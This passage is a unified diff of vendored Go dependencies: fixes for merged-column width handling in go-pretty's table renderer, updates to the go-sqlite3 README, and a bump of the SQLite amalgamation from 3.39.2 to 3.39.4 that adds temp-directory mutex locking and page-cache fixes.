cc := t.columnConfigMap[colIdx]
|
||||
if !cc.Hidden {
|
||||
rowNew = append(rowNew, col)
|
||||
colIdxMap[colIdx] = len(rowNew) - 1
|
||||
}
|
||||
}
|
||||
if len(rowNew) > numColumns {
|
||||
numColumns = len(rowNew)
|
||||
}
|
||||
rsp = append(rsp, rowNew)
|
||||
}
|
||||
return rsp
|
||||
}
|
||||
|
||||
// hide columns as directed
|
||||
t.rows = hideColumnsInRows(t.rows)
|
||||
t.rowsFooter = hideColumnsInRows(t.rowsFooter)
|
||||
t.rowsHeader = hideColumnsInRows(t.rowsHeader)
|
||||
|
||||
// reset numColumns to the new number of columns
|
||||
t.numColumns = numColumns
|
||||
|
||||
return colIdxMap
|
||||
}
|
||||
|
||||
func (t *Table) initForRenderHideColumns() {
|
||||
if !t.hasHiddenColumns() {
|
||||
return
|
||||
@@ -850,11 +885,44 @@ func (t *Table) isIndexColumn(colIdx int, hint renderHint) bool {
|
||||
return t.indexColumn == colIdx+1 || hint.isAutoIndexColumn
|
||||
}
|
||||
|
||||
func (t *Table) parseRowForMaxColumnLengths(rows []rowStr) {
|
||||
for _, row := range rows {
|
||||
func (t *Table) parseRowForMaxColumnLengths(rows []rowStr, hint renderHint) {
|
||||
getMergedColumnsTotalLength := func(colIdx int, mergedColumns map[int]bool) int {
|
||||
mergedColLength := t.maxColumnLengths[colIdx]
|
||||
for otherColIdx := range mergedColumns {
|
||||
mergedColLength += t.maxColumnLengths[otherColIdx]
|
||||
}
|
||||
return mergedColLength
|
||||
}
|
||||
separatorLength := text.RuneWidthWithoutEscSequences(t.style.Box.MiddleSeparator)
|
||||
|
||||
for rowIdx, row := range rows {
|
||||
hint.rowNumber = rowIdx + 1
|
||||
mergedColumnsMap := t.getMergedColumnIndices(row, hint)
|
||||
for colIdx, colStr := range row {
|
||||
longestLineLen := text.LongestLineLen(colStr)
|
||||
if longestLineLen > t.maxColumnLengths[colIdx] {
|
||||
maxColWidth := t.getColumnWidthMax(colIdx)
|
||||
if maxColWidth > 0 && maxColWidth < longestLineLen {
|
||||
longestLineLen = maxColWidth
|
||||
}
|
||||
mergedColumnsForCol := mergedColumnsMap[colIdx]
|
||||
mergedColumnsLength := getMergedColumnsTotalLength(colIdx, mergedColumnsForCol)
|
||||
if longestLineLen > mergedColumnsLength {
|
||||
if mergedColumnsLength > 0 {
|
||||
numMergedColumns := len(mergedColumnsForCol) + 1
|
||||
longestLineLen -= (numMergedColumns - 1) * separatorLength
|
||||
maxLengthSplitAcrossColumns := longestLineLen / numMergedColumns
|
||||
if maxLengthSplitAcrossColumns > t.maxColumnLengths[colIdx] {
|
||||
t.maxColumnLengths[colIdx] = maxLengthSplitAcrossColumns
|
||||
}
|
||||
for otherColIdx := range mergedColumnsForCol {
|
||||
if maxLengthSplitAcrossColumns > t.maxColumnLengths[otherColIdx] {
|
||||
t.maxColumnLengths[otherColIdx] = maxLengthSplitAcrossColumns
|
||||
}
|
||||
}
|
||||
} else {
|
||||
t.maxColumnLengths[colIdx] = longestLineLen
|
||||
}
|
||||
} else if maxColWidth == 0 && longestLineLen > t.maxColumnLengths[colIdx] {
|
||||
t.maxColumnLengths[colIdx] = longestLineLen
|
||||
}
|
||||
}
|
||||
@@ -964,7 +1032,11 @@ func (t *Table) wrapRow(row rowStr) (int, rowStr) {
|
||||
rowWrapped := make(rowStr, len(row))
|
||||
for colIdx, colStr := range row {
|
||||
widthEnforcer := t.columnConfigMap[colIdx].getWidthMaxEnforcer()
|
||||
rowWrapped[colIdx] = widthEnforcer(colStr, t.maxColumnLengths[colIdx])
|
||||
maxWidth := t.getColumnWidthMax(colIdx)
|
||||
if maxWidth == 0 {
|
||||
maxWidth = t.maxColumnLengths[colIdx]
|
||||
}
|
||||
rowWrapped[colIdx] = widthEnforcer(colStr, maxWidth)
|
||||
colNumLines := strings.Count(rowWrapped[colIdx], "\n") + 1
|
||||
if colNumLines > colMaxLines {
|
||||
colMaxLines = colNumLines
|
||||
@@ -972,36 +1044,3 @@ func (t *Table) wrapRow(row rowStr) (int, rowStr) {
|
||||
}
|
||||
return colMaxLines, rowWrapped
|
||||
}
|
||||
|
||||
// renderHint has hints for the Render*() logic
|
||||
type renderHint struct {
|
||||
isAutoIndexColumn bool // auto-index column?
|
||||
isAutoIndexRow bool // auto-index row?
|
||||
isBorderBottom bool // bottom-border?
|
||||
isBorderTop bool // top-border?
|
||||
isFirstRow bool // first-row of header/footer/regular-rows?
|
||||
isFooterRow bool // footer row?
|
||||
isHeaderRow bool // header row?
|
||||
isLastLineOfRow bool // last-line of the current row?
|
||||
isLastRow bool // last-row of header/footer/regular-rows?
|
||||
isSeparatorRow bool // separator row?
|
||||
rowLineNumber int // the line number for a multi-line row
|
||||
rowNumber int // the row number/index
|
||||
}
|
||||
|
||||
func (h *renderHint) isRegularRow() bool {
|
||||
return !h.isHeaderRow && !h.isFooterRow
|
||||
}
|
||||
|
||||
func (h *renderHint) isRegularNonSeparatorRow() bool {
|
||||
return !h.isHeaderRow && !h.isFooterRow && !h.isSeparatorRow
|
||||
}
|
||||
|
||||
func (h *renderHint) isHeaderOrFooterSeparator() bool {
|
||||
return h.isSeparatorRow && !h.isBorderBottom && !h.isBorderTop &&
|
||||
((h.isHeaderRow && !h.isLastRow) || (h.isFooterRow && (!h.isFirstRow || h.rowNumber > 0)))
|
||||
}
|
||||
|
||||
func (h *renderHint) isLastLineOfLastRow() bool {
|
||||
return h.isLastLineOfRow && h.isLastRow
|
||||
}
|
||||
+8
@@ -0,0 +1,8 @@
|
||||
# text
|
||||
|
||||
[](https://pkg.go.dev/github.com/jedib0t/go-pretty/v6/text)
|
||||
|
||||
Package with utility functions to manipulate strings/text.
|
||||
|
||||
Used heavily in the other packages in this repo ([list](../list),
|
||||
[progress](../progress), and [table](../table)).
|
||||
+9
-7
@@ -1,7 +1,7 @@
|
||||
go-sqlite3
|
||||
==========
|
||||
|
||||
[](http://godoc.org/github.com/mattn/go-sqlite3)
|
||||
[](https://pkg.go.dev/github.com/mattn/go-sqlite3)
|
||||
[](https://github.com/mattn/go-sqlite3/actions?query=workflow%3AGo)
|
||||
[](https://opencollective.com/mattn-go-sqlite3)
|
||||
[](https://codecov.io/gh/mattn/go-sqlite3)
|
||||
@@ -172,15 +172,18 @@ go build --tags "icu json1 fts5 secure_delete"
|
||||
| International Components for Unicode | sqlite_icu | This option causes the International Components for Unicode or "ICU" extension to SQLite to be added to the build |
|
||||
| Introspect PRAGMAS | sqlite_introspect | This option adds some extra PRAGMA statements. <ul><li>PRAGMA function_list</li><li>PRAGMA module_list</li><li>PRAGMA pragma_list</li></ul> |
|
||||
| JSON SQL Functions | sqlite_json | When this option is defined in the amalgamation, the JSON SQL functions are added to the build automatically |
|
||||
| Math Functions | sqlite_math_functions | This compile-time option enables built-in scalar math functions. For more information see [Built-In Mathematical SQL Functions](https://www.sqlite.org/lang_mathfunc.html) |
|
||||
| OS Trace | sqlite_os_trace | This option enables OSTRACE() debug logging. This can be verbose and should not be used in production. |
|
||||
| Pre Update Hook | sqlite_preupdate_hook | Registers a callback function that is invoked prior to each INSERT, UPDATE, and DELETE operation on a database table. |
|
||||
| Secure Delete | sqlite_secure_delete | This compile-time option changes the default setting of the secure_delete pragma.<br><br>When this option is not used, secure_delete defaults to off. When this option is present, secure_delete defaults to on.<br><br>The secure_delete setting causes deleted content to be overwritten with zeros. There is a small performance penalty since additional I/O must occur.<br><br>On the other hand, secure_delete can prevent fragments of sensitive information from lingering in unused parts of the database file after it has been deleted. See the documentation on the secure_delete pragma for additional information |
|
||||
| Secure Delete (FAST) | sqlite_secure_delete_fast | For more information see [PRAGMA secure_delete](https://www.sqlite.org/pragma.html#pragma_secure_delete) |
|
||||
| Tracing / Debug | sqlite_trace | Activate trace functions |
|
||||
| User Authentication | sqlite_userauth | SQLite User Authentication see [User Authentication](#user-authentication) for more information. |
|
||||
| Virtual Tables | sqlite_vtable | SQLite Virtual Tables see [SQLite Official VTABLE Documentation](https://www.sqlite.org/vtab.html) for more information, and a [full example here](https://github.com/mattn/go-sqlite3/tree/master/_example/vtable) |
|
||||
|
||||
# Compilation
|
||||
|
||||
This package requires the `CGO_ENABLED=1` ennvironment variable if not set by default, and the presence of the `gcc` compiler.
|
||||
This package requires the `CGO_ENABLED=1` environment variable if not set by default, and the presence of the `gcc` compiler.
|
||||
|
||||
If you need to add additional CFLAGS or LDFLAGS to the build command, and do not want to modify this package, then this can be achieved by using the `CGO_CFLAGS` and `CGO_LDFLAGS` environment variables.
|
||||
|
||||
@@ -216,14 +219,13 @@ This library can be cross-compiled.
|
||||
In some cases you are required to the `CC` environment variable with the cross compiler.
|
||||
|
||||
## Cross Compiling from MAC OSX
|
||||
The simplest way to cross compile from OSX is to use [xgo](https://github.com/karalabe/xgo).
|
||||
The simplest way to cross compile from OSX is to use [musl-cross](https://github.com/FiloSottile/homebrew-musl-cross).
|
||||
|
||||
Steps:
|
||||
- Install [xgo](https://github.com/karalabe/xgo) (`go get github.com/karalabe/xgo`).
|
||||
- Ensure that your project is within your `GOPATH`.
|
||||
- Run `xgo local/path/to/project`.
|
||||
- Install [musl-cross](https://github.com/FiloSottile/homebrew-musl-cross) (`brew install FiloSottile/musl-cross/musl-cross`).
|
||||
- Run `CC=x86_64-linux-musl-gcc CXX=x86_64-linux-musl-g++ GOARCH=amd64 GOOS=linux CGO_ENABLED=1 go build -ldflags "-linkmode external -extldflags -static"`.
|
||||
|
||||
Please refer to the project's [README](https://github.com/karalabe/xgo/blob/master/README.md) for further information.
|
||||
Please refer to the project's [README](https://github.com/FiloSottile/homebrew-musl-cross#readme) for further information.
|
||||
|
||||
# Google Cloud Platform
|
||||
|
||||
|
||||
+202
-105
@@ -1,7 +1,7 @@
|
||||
#ifndef USE_LIBSQLITE3
|
||||
/******************************************************************************
|
||||
** This file is an amalgamation of many separate C source files from SQLite
|
||||
** version 3.39.2. By combining all the individual C code files into this
|
||||
** version 3.39.4. By combining all the individual C code files into this
|
||||
** single large file, the entire code can be compiled as a single translation
|
||||
** unit. This allows many compilers to do optimizations that would not be
|
||||
** possible if the files were compiled separately. Performance improvements
|
||||
@@ -453,9 +453,9 @@ extern "C" {
|
||||
** [sqlite3_libversion_number()], [sqlite3_sourceid()],
|
||||
** [sqlite_version()] and [sqlite_source_id()].
|
||||
*/
|
||||
#define SQLITE_VERSION "3.39.2"
|
||||
#define SQLITE_VERSION_NUMBER 3039002
|
||||
#define SQLITE_SOURCE_ID "2022-07-21 15:24:47 698edb77537b67c41adc68f9b892db56bcf9a55e00371a61420f3ddd668e6603"
|
||||
#define SQLITE_VERSION "3.39.4"
|
||||
#define SQLITE_VERSION_NUMBER 3039004
|
||||
#define SQLITE_SOURCE_ID "2022-09-29 15:55:41 a29f9949895322123f7c38fbe94c649a9d6e6c9cd0c3b41c96d694552f26b309"
|
||||
|
||||
/*
|
||||
** CAPI3REF: Run-Time Library Version Numbers
|
||||
@@ -13145,6 +13145,11 @@ struct fts5_api {
|
||||
/************** End of sqlite3.h *********************************************/
|
||||
/************** Continuing where we left off in sqliteInt.h ******************/
|
||||
|
||||
/*
|
||||
** Reuse the STATIC_LRU for mutex access to sqlite3_temp_directory.
|
||||
*/
|
||||
#define SQLITE_MUTEX_STATIC_TEMPDIR SQLITE_MUTEX_STATIC_VFS1
|
||||
|
||||
/*
|
||||
** Include the configuration header output by 'configure' if we're using the
|
||||
** autoconf-based build
|
||||
@@ -29564,8 +29569,13 @@ SQLITE_PRIVATE void *sqlite3OomFault(sqlite3 *db){
|
||||
}
|
||||
DisableLookaside;
|
||||
if( db->pParse ){
|
||||
Parse *pParse;
|
||||
sqlite3ErrorMsg(db->pParse, "out of memory");
|
||||
db->pParse->rc = SQLITE_NOMEM_BKPT;
|
||||
for(pParse=db->pParse->pOuterParse; pParse; pParse = pParse->pOuterParse){
|
||||
pParse->nErr++;
|
||||
pParse->rc = SQLITE_NOMEM;
|
||||
}
|
||||
}
|
||||
}
|
||||
return 0;
|
||||
@@ -33460,7 +33470,7 @@ SQLITE_PRIVATE void sqlite3ErrorMsg(Parse *pParse, const char *zFormat, ...){
|
||||
va_list ap;
|
||||
sqlite3 *db = pParse->db;
|
||||
assert( db!=0 );
|
||||
assert( db->pParse==pParse );
|
||||
assert( db->pParse==pParse || db->pParse->pToplevel==pParse );
|
||||
db->errByteOffset = -2;
|
||||
va_start(ap, zFormat);
|
||||
zMsg = sqlite3VMPrintf(db, zFormat, ap);
|
||||
@@ -41321,6 +41331,7 @@ static const char *unixTempFileDir(void){
|
||||
static int unixGetTempname(int nBuf, char *zBuf){
|
||||
const char *zDir;
|
||||
int iLimit = 0;
|
||||
int rc = SQLITE_OK;
|
||||
|
||||
/* It's odd to simulate an io-error here, but really this is just
|
||||
** using the io-error infrastructure to test that SQLite handles this
|
||||
@@ -41329,18 +41340,26 @@ static int unixGetTempname(int nBuf, char *zBuf){
|
||||
zBuf[0] = 0;
|
||||
SimulateIOError( return SQLITE_IOERR );
|
||||
|
||||
sqlite3_mutex_enter(sqlite3MutexAlloc(SQLITE_MUTEX_STATIC_TEMPDIR));
|
||||
zDir = unixTempFileDir();
|
||||
if( zDir==0 ) return SQLITE_IOERR_GETTEMPPATH;
|
||||
do{
|
||||
u64 r;
|
||||
sqlite3_randomness(sizeof(r), &r);
|
||||
assert( nBuf>2 );
|
||||
zBuf[nBuf-2] = 0;
|
||||
sqlite3_snprintf(nBuf, zBuf, "%s/"SQLITE_TEMP_FILE_PREFIX"%llx%c",
|
||||
zDir, r, 0);
|
||||
if( zBuf[nBuf-2]!=0 || (iLimit++)>10 ) return SQLITE_ERROR;
|
||||
}while( osAccess(zBuf,0)==0 );
|
||||
return SQLITE_OK;
|
||||
if( zDir==0 ){
|
||||
rc = SQLITE_IOERR_GETTEMPPATH;
|
||||
}else{
|
||||
do{
|
||||
u64 r;
|
||||
sqlite3_randomness(sizeof(r), &r);
|
||||
assert( nBuf>2 );
|
||||
zBuf[nBuf-2] = 0;
|
||||
sqlite3_snprintf(nBuf, zBuf, "%s/"SQLITE_TEMP_FILE_PREFIX"%llx%c",
|
||||
zDir, r, 0);
|
||||
if( zBuf[nBuf-2]!=0 || (iLimit++)>10 ){
|
||||
rc = SQLITE_ERROR;
|
||||
break;
|
||||
}
|
||||
}while( osAccess(zBuf,0)==0 );
|
||||
}
|
||||
sqlite3_mutex_leave(sqlite3MutexAlloc(SQLITE_MUTEX_STATIC_TEMPDIR));
|
||||
return rc;
|
||||
}
|
||||
|
||||
#if SQLITE_ENABLE_LOCKING_STYLE && defined(__APPLE__)
|
||||
@@ -45479,10 +45498,12 @@ SQLITE_API int sqlite3_win32_set_directory8(
|
||||
const char *zValue /* New value for directory being set or reset */
|
||||
){
|
||||
char **ppDirectory = 0;
|
||||
int rc;
|
||||
#ifndef SQLITE_OMIT_AUTOINIT
|
||||
int rc = sqlite3_initialize();
|
||||
rc = sqlite3_initialize();
|
||||
if( rc ) return rc;
|
||||
#endif
|
||||
sqlite3_mutex_enter(sqlite3MutexAlloc(SQLITE_MUTEX_STATIC_TEMPDIR));
|
||||
if( type==SQLITE_WIN32_DATA_DIRECTORY_TYPE ){
|
||||
ppDirectory = &sqlite3_data_directory;
|
||||
}else if( type==SQLITE_WIN32_TEMP_DIRECTORY_TYPE ){
|
||||
@@ -45497,14 +45518,19 @@ SQLITE_API int sqlite3_win32_set_directory8(
|
||||
if( zValue && zValue[0] ){
|
||||
zCopy = sqlite3_mprintf("%s", zValue);
|
||||
if ( zCopy==0 ){
|
||||
return SQLITE_NOMEM_BKPT;
|
||||
rc = SQLITE_NOMEM_BKPT;
|
||||
goto set_directory8_done;
|
||||
}
|
||||
}
|
||||
sqlite3_free(*ppDirectory);
|
||||
*ppDirectory = zCopy;
|
||||
return SQLITE_OK;
|
||||
rc = SQLITE_OK;
|
||||
}else{
|
||||
rc = SQLITE_ERROR;
|
||||
}
|
||||
return SQLITE_ERROR;
|
||||
set_directory8_done:
|
||||
sqlite3_mutex_leave(sqlite3MutexAlloc(SQLITE_MUTEX_STATIC_TEMPDIR));
|
||||
return rc;
|
||||
}
|
||||
|
||||
/*
|
||||
@@ -48278,6 +48304,18 @@ static int winMakeEndInDirSep(int nBuf, char *zBuf){
|
||||
return 0;
|
||||
}
|
||||
|
||||
/*
|
||||
** If sqlite3_temp_directory is not, take the mutex and return true.
|
||||
**
|
||||
** If sqlite3_temp_directory is NULL, omit the mutex and return false.
|
||||
*/
|
||||
static int winTempDirDefined(void){
|
||||
sqlite3_mutex_enter(sqlite3MutexAlloc(SQLITE_MUTEX_STATIC_TEMPDIR));
|
||||
if( sqlite3_temp_directory!=0 ) return 1;
|
||||
sqlite3_mutex_leave(sqlite3MutexAlloc(SQLITE_MUTEX_STATIC_TEMPDIR));
|
||||
return 0;
|
||||
}
|
||||
|
||||
/*
|
||||
** Create a temporary file name and store the resulting pointer into pzBuf.
|
||||
** The pointer returned in pzBuf must be freed via sqlite3_free().
|
||||
@@ -48314,20 +48352,23 @@ static int winGetTempname(sqlite3_vfs *pVfs, char **pzBuf){
|
||||
*/
|
||||
nDir = nMax - (nPre + 15);
|
||||
assert( nDir>0 );
|
||||
if( sqlite3_temp_directory ){
|
||||
if( winTempDirDefined() ){
|
||||
int nDirLen = sqlite3Strlen30(sqlite3_temp_directory);
|
||||
if( nDirLen>0 ){
|
||||
if( !winIsDirSep(sqlite3_temp_directory[nDirLen-1]) ){
|
||||
nDirLen++;
|
||||
}
|
||||
if( nDirLen>nDir ){
|
||||
sqlite3_mutex_leave(sqlite3MutexAlloc(SQLITE_MUTEX_STATIC_TEMPDIR));
|
||||
sqlite3_free(zBuf);
|
||||
OSTRACE(("TEMP-FILENAME rc=SQLITE_ERROR\n"));
|
||||
return winLogError(SQLITE_ERROR, 0, "winGetTempname1", 0);
|
||||
}
|
||||
sqlite3_snprintf(nMax, zBuf, "%s", sqlite3_temp_directory);
|
||||
}
|
||||
sqlite3_mutex_leave(sqlite3MutexAlloc(SQLITE_MUTEX_STATIC_TEMPDIR));
|
||||
}
|
||||
|
||||
#if defined(__CYGWIN__)
|
||||
else{
|
||||
static const char *azDirs[] = {
|
||||
@@ -49116,7 +49157,7 @@ static BOOL winIsVerbatimPathname(
|
||||
** pathname into zOut[]. zOut[] will be at least pVfs->mxPathname
|
||||
** bytes in size.
|
||||
*/
|
||||
static int winFullPathname(
|
||||
static int winFullPathnameNoMutex(
|
||||
sqlite3_vfs *pVfs, /* Pointer to vfs object */
|
||||
const char *zRelative, /* Possibly relative input path */
|
||||
int nFull, /* Size of output buffer in bytes */
|
||||
@@ -49295,6 +49336,19 @@ static int winFullPathname(
|
||||
}
|
||||
#endif
|
||||
}
|
||||
static int winFullPathname(
|
||||
sqlite3_vfs *pVfs, /* Pointer to vfs object */
|
||||
const char *zRelative, /* Possibly relative input path */
|
||||
int nFull, /* Size of output buffer in bytes */
|
||||
char *zFull /* Output buffer */
|
||||
){
|
||||
int rc;
|
||||
sqlite3_mutex *pMutex = sqlite3MutexAlloc(SQLITE_MUTEX_STATIC_TEMPDIR);
|
||||
sqlite3_mutex_enter(pMutex);
|
||||
rc = winFullPathnameNoMutex(pVfs, zRelative, nFull, zFull);
|
||||
sqlite3_mutex_leave(pMutex);
|
||||
return rc;
|
||||
}
|
||||
|
||||
#ifndef SQLITE_OMIT_LOAD_EXTENSION
|
||||
/*
|
||||
@@ -51639,14 +51693,24 @@ SQLITE_PRIVATE void sqlite3PcacheClearSyncFlags(PCache *pCache){
|
||||
*/
|
||||
SQLITE_PRIVATE void sqlite3PcacheMove(PgHdr *p, Pgno newPgno){
|
||||
PCache *pCache = p->pCache;
|
||||
sqlite3_pcache_page *pOther;
|
||||
assert( p->nRef>0 );
|
||||
assert( newPgno>0 );
|
||||
assert( sqlite3PcachePageSanity(p) );
|
||||
pcacheTrace(("%p.MOVE %d -> %d\n",pCache,p->pgno,newPgno));
|
||||
pOther = sqlite3GlobalConfig.pcache2.xFetch(pCache->pCache, newPgno, 0);
|
||||
if( pOther ){
|
||||
PgHdr *pXPage = (PgHdr*)pOther->pExtra;
|
||||
assert( pXPage->nRef==0 );
|
||||
pXPage->nRef++;
|
||||
pCache->nRefSum++;
|
||||
sqlite3PcacheDrop(pXPage);
|
||||
}
|
||||
sqlite3GlobalConfig.pcache2.xRekey(pCache->pCache, p->pPage, p->pgno,newPgno);
|
||||
p->pgno = newPgno;
|
||||
if( (p->flags&PGHDR_DIRTY) && (p->flags&PGHDR_NEED_SYNC) ){
|
||||
pcacheManageDirtyList(p, PCACHE_DIRTYLIST_FRONT);
|
||||
assert( sqlite3PcachePageSanity(p) );
|
||||
}
|
||||
}
|
||||
|
||||
@@ -53028,23 +53092,26 @@ static void pcache1Rekey(
|
||||
PCache1 *pCache = (PCache1 *)p;
|
||||
PgHdr1 *pPage = (PgHdr1 *)pPg;
|
||||
PgHdr1 **pp;
|
||||
unsigned int h;
|
||||
unsigned int hOld, hNew;
|
||||
assert( pPage->iKey==iOld );
|
||||
assert( pPage->pCache==pCache );
|
||||
assert( iOld!=iNew ); /* The page number really is changing */
|
||||
|
||||
pcache1EnterMutex(pCache->pGroup);
|
||||
|
||||
h = iOld%pCache->nHash;
|
||||
pp = &pCache->apHash[h];
|
||||
assert( pcache1FetchNoMutex(p, iOld, 0)==pPage ); /* pPg really is iOld */
|
||||
hOld = iOld%pCache->nHash;
|
||||
pp = &pCache->apHash[hOld];
|
||||
while( (*pp)!=pPage ){
|
||||
pp = &(*pp)->pNext;
|
||||
}
|
||||
*pp = pPage->pNext;
|
||||
|
||||
h = iNew%pCache->nHash;
|
||||
assert( pcache1FetchNoMutex(p, iNew, 0)==0 ); /* iNew not in cache */
|
||||
hNew = iNew%pCache->nHash;
|
||||
pPage->iKey = iNew;
|
||||
pPage->pNext = pCache->apHash[h];
|
||||
pCache->apHash[h] = pPage;
|
||||
pPage->pNext = pCache->apHash[hNew];
|
||||
pCache->apHash[hNew] = pPage;
|
||||
if( iNew>pCache->iMaxKey ){
|
||||
pCache->iMaxKey = iNew;
|
||||
}
|
||||
@@ -59677,6 +59744,7 @@ static int pager_open_journal(Pager *pPager){
|
||||
if( rc!=SQLITE_OK ){
|
||||
sqlite3BitvecDestroy(pPager->pInJournal);
|
||||
pPager->pInJournal = 0;
|
||||
pPager->journalOff = 0;
|
||||
}else{
|
||||
assert( pPager->eState==PAGER_WRITER_LOCKED );
|
||||
pPager->eState = PAGER_WRITER_CACHEMOD;
|
||||
@@ -61232,7 +61300,7 @@ SQLITE_PRIVATE int sqlite3PagerGetJournalMode(Pager *pPager){
|
||||
SQLITE_PRIVATE int sqlite3PagerOkToChangeJournalMode(Pager *pPager){
|
||||
assert( assert_pager_state(pPager) );
|
||||
if( pPager->eState>=PAGER_WRITER_CACHEMOD ) return 0;
|
||||
if( NEVER(isOpen(pPager->jfd) && pPager->journalOff>0) ) return 0;
|
||||
if( isOpen(pPager->jfd) && pPager->journalOff>0 ) return 0;
|
||||
return 1;
|
||||
}
|
||||
|
||||
@@ -68347,7 +68415,7 @@ static int defragmentPage(MemPage *pPage, int nMaxFrag){
|
||||
if( iFree2+sz2 > usableSize ) return SQLITE_CORRUPT_PAGE(pPage);
|
||||
memmove(&data[iFree+sz+sz2], &data[iFree+sz], iFree2-(iFree+sz));
|
||||
sz += sz2;
|
||||
}else if( NEVER(iFree+sz>usableSize) ){
|
||||
}else if( iFree+sz>usableSize ){
|
||||
return SQLITE_CORRUPT_PAGE(pPage);
|
||||
}
|
||||
|
||||
@@ -74703,8 +74771,6 @@ static int balance_nonroot(
|
||||
Pgno pgno; /* Temp var to store a page number in */
|
||||
u8 abDone[NB+2]; /* True after i'th new page is populated */
|
||||
Pgno aPgno[NB+2]; /* Page numbers of new pages before shuffling */
|
||||
Pgno aPgOrder[NB+2]; /* Copy of aPgno[] used for sorting pages */
|
||||
u16 aPgFlags[NB+2]; /* flags field of new pages before shuffling */
|
||||
CellArray b; /* Parsed information on cells being balanced */
|
||||
|
||||
memset(abDone, 0, sizeof(abDone));
|
||||
@@ -75128,42 +75194,39 @@ static int balance_nonroot(
|
||||
** of the table is closer to a linear scan through the file. That in turn
|
||||
** helps the operating system to deliver pages from the disk more rapidly.
|
||||
**
|
||||
** An O(n^2) insertion sort algorithm is used, but since n is never more
|
||||
** than (NB+2) (a small constant), that should not be a problem.
|
||||
** An O(N*N) sort algorithm is used, but since N is never more than NB+2
|
||||
** (5), that is not a performance concern.
|
||||
**
|
||||
** When NB==3, this one optimization makes the database about 25% faster
|
||||
** for large insertions and deletions.
|
||||
*/
|
||||
for(i=0; i<nNew; i++){
|
||||
aPgOrder[i] = aPgno[i] = apNew[i]->pgno;
|
||||
aPgFlags[i] = apNew[i]->pDbPage->flags;
|
||||
for(j=0; j<i; j++){
|
||||
if( NEVER(aPgno[j]==aPgno[i]) ){
|
||||
/* This branch is taken if the set of sibling pages somehow contains
|
||||
** duplicate entries. This can happen if the database is corrupt.
|
||||
** It would be simpler to detect this as part of the loop below, but
|
||||
** we do the detection here in order to avoid populating the pager
|
||||
** cache with two separate objects associated with the same
|
||||
** page number. */
|
||||
assert( CORRUPT_DB );
|
||||
rc = SQLITE_CORRUPT_BKPT;
|
||||
goto balance_cleanup;
|
||||
}
|
||||
}
|
||||
aPgno[i] = apNew[i]->pgno;
|
||||
assert( apNew[i]->pDbPage->flags & PGHDR_WRITEABLE );
|
||||
assert( apNew[i]->pDbPage->flags & PGHDR_DIRTY );
|
||||
}
|
||||
for(i=0; i<nNew; i++){
|
||||
int iBest = 0; /* aPgno[] index of page number to use */
|
||||
for(j=1; j<nNew; j++){
|
||||
if( aPgOrder[j]<aPgOrder[iBest] ) iBest = j;
|
||||
for(i=0; i<nNew-1; i++){
|
||||
int iB = i;
|
||||
for(j=i+1; j<nNew; j++){
|
||||
if( apNew[j]->pgno < apNew[iB]->pgno ) iB = j;
|
||||
}
|
||||
pgno = aPgOrder[iBest];
|
||||
aPgOrder[iBest] = 0xffffffff;
|
||||
if( iBest!=i ){
|
||||
if( iBest>i ){
|
||||
sqlite3PagerRekey(apNew[iBest]->pDbPage, pBt->nPage+iBest+1, 0);
|
||||
}
|
||||
sqlite3PagerRekey(apNew[i]->pDbPage, pgno, aPgFlags[iBest]);
|
||||
apNew[i]->pgno = pgno;
|
||||
|
||||
/* If apNew[i] has a page number that is bigger than any of the
|
||||
** subsequence apNew[i] entries, then swap apNew[i] with the subsequent
|
||||
** entry that has the smallest page number (which we know to be
|
||||
** entry apNew[iB]).
|
||||
*/
|
||||
if( iB!=i ){
|
||||
Pgno pgnoA = apNew[i]->pgno;
|
||||
Pgno pgnoB = apNew[iB]->pgno;
|
||||
Pgno pgnoTemp = (PENDING_BYTE/pBt->pageSize)+1;
|
||||
u16 fgA = apNew[i]->pDbPage->flags;
|
||||
u16 fgB = apNew[iB]->pDbPage->flags;
|
||||
sqlite3PagerRekey(apNew[i]->pDbPage, pgnoTemp, fgB);
|
||||
sqlite3PagerRekey(apNew[iB]->pDbPage, pgnoA, fgA);
|
||||
sqlite3PagerRekey(apNew[i]->pDbPage, pgnoB, fgB);
|
||||
apNew[i]->pgno = pgnoB;
|
||||
apNew[iB]->pgno = pgnoA;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -81036,6 +81099,7 @@ SQLITE_PRIVATE int sqlite3VdbeAddFunctionCall(
|
||||
addr = sqlite3VdbeAddOp4(v, eCallCtx ? OP_PureFunc : OP_Function,
|
||||
p1, p2, p3, (char*)pCtx, P4_FUNCCTX);
|
||||
sqlite3VdbeChangeP5(v, eCallCtx & NC_SelfRef);
|
||||
sqlite3MayAbort(pParse);
|
||||
return addr;
|
||||
}
|
||||
|
||||
@@ -81371,6 +81435,7 @@ SQLITE_PRIVATE int sqlite3VdbeAssertMayAbort(Vdbe *v, int mayAbort){
|
||||
|| opcode==OP_VDestroy
|
||||
|| opcode==OP_VCreate
|
||||
|| opcode==OP_ParseSchema
|
||||
|| opcode==OP_Function || opcode==OP_PureFunc
|
||||
|| ((opcode==OP_Halt || opcode==OP_HaltIfNull)
|
||||
&& ((pOp->p1)!=SQLITE_OK && pOp->p2==OE_Abort))
|
||||
){
|
||||
@@ -132705,6 +132770,7 @@ SQLITE_PRIVATE void sqlite3Pragma(
|
||||
**
|
||||
*/
|
||||
case PragTyp_TEMP_STORE_DIRECTORY: {
|
||||
sqlite3_mutex_enter(sqlite3MutexAlloc(SQLITE_MUTEX_STATIC_TEMPDIR));
|
||||
if( !zRight ){
|
||||
returnSingleText(v, sqlite3_temp_directory);
|
||||
}else{
|
||||
@@ -132714,6 +132780,7 @@ SQLITE_PRIVATE void sqlite3Pragma(
|
||||
rc = sqlite3OsAccess(db->pVfs, zRight, SQLITE_ACCESS_READWRITE, &res);
|
||||
if( rc!=SQLITE_OK || res==0 ){
|
||||
sqlite3ErrorMsg(pParse, "not a writable directory");
|
||||
sqlite3_mutex_leave(sqlite3MutexAlloc(SQLITE_MUTEX_STATIC_TEMPDIR));
|
||||
goto pragma_out;
|
||||
}
|
||||
}
|
||||
@@ -132731,6 +132798,7 @@ SQLITE_PRIVATE void sqlite3Pragma(
|
||||
}
|
||||
#endif /* SQLITE_OMIT_WSD */
|
||||
}
|
||||
sqlite3_mutex_leave(sqlite3MutexAlloc(SQLITE_MUTEX_STATIC_TEMPDIR));
|
||||
break;
|
||||
}
|
||||
|
||||
@@ -132749,6 +132817,7 @@ SQLITE_PRIVATE void sqlite3Pragma(
|
||||
**
|
||||
*/
|
||||
case PragTyp_DATA_STORE_DIRECTORY: {
|
||||
sqlite3_mutex_enter(sqlite3MutexAlloc(SQLITE_MUTEX_STATIC_TEMPDIR));
|
||||
if( !zRight ){
|
||||
